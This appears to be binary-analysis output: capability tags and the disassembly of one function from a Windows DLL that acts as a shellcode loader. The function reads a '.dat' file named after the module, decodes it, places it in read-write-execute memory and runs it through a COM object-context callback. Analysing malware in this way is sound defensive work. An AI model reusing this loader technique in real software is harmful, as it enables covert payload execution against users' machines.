Function at 0x1800013d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov eax, dword [0x1800113d8]
test al, 1
jne 0x1800010fb
or eax, 1
lea rcx, str.kernel32.dll
mov dword [0x1800113d8], eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1800113d0], rax
jmp 0x180001102
mov rax, qword [0x1800113d0]
test rax, rax
jne 0x18000110f
or eax, 0xffffffff
jmp 0x180001388
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3b0], rdi
lea rcx, [rsp + 0x62]
mov qword [rsp + 0x3b8], r12
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x60], r12w
call fcn.180003df0
mov rcx, qword [0x1800113c8]
lea rdx, [rsp + 0x60]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, str..dat
lea ecx, [rax - 4]
mov word [rsp + rcx*2 + 0x60], r12w
lea ecx, [rax - 3]
mov word [rsp + rcx*2 + 0x60], r12w
lea ecx, [rax - 2]
dec eax
mov word [rsp + rcx*2 + 0x60], r12w
lea rcx, [rsp + 0x60]
mov word [rsp + rax*2 + 0x60], r12w
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x171]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x170], r12b
call fcn.180003df0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r8, [rsp + 0x60]
mov r9d, 0x104
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x170]
lea r8, [rsp + 0x60]
mov r9d, 0x104
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [0x18000cbf0]
lea rcx, [rbp + 0x170]
call fcn.1800015f8
mov rbx, rax
test rax, rax
je 0x1800013a0
lea r8d, [r12 + 2]
xor edx, edx
mov rcx, rax
call fcn.180001bc8
mov rcx, rbx
call fcn.180001abc
movsxd rdi, eax
test eax, eax
je 0x1800013a0
lea r9d, [r12 + 4]
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x3a8], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180001366
lea rdx, [0x18000cbf0]
lea rcx, [rbp + 0x170]
call fcn.1800015f8
test rax, rax
je 0x18000129b
mov rdx, rax
mov rcx, rsi
call fcn.180001000
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180001366
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180007100
mov r11d, dword [rbx]
cmp r11d, 0xa
jb 0x180001366
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r11d
xor ecx, ecx
mov esi, r11d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180001366
lea rdx, [rbx + 4]
mov r8d, esi
mov rcx, rax
call fcn.180007100
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], 0x1c6
mov dword [rsp + 0x50], 0xc0
mov dword [rsp + 0x54], 0x46000000
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], r12
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
lea r9, [rsp + 0x48]
mov r8, rbx
mov rdx, rdi
mov dword [rsp + 0x20], r12d
call qword [rax + 0x40]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rsp + 0x3a8]
xor eax, eax
mov rdi, qword [rsp + 0x3b0]
mov rbx, qword [rsp + 0x3a0]
mov r12, qword [rsp + 0x3b8]
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.180001400
add rsp, 0x390
pop rbp
ret
xor eax, eax
jmp 0x180001370
jmp 0x1800010b0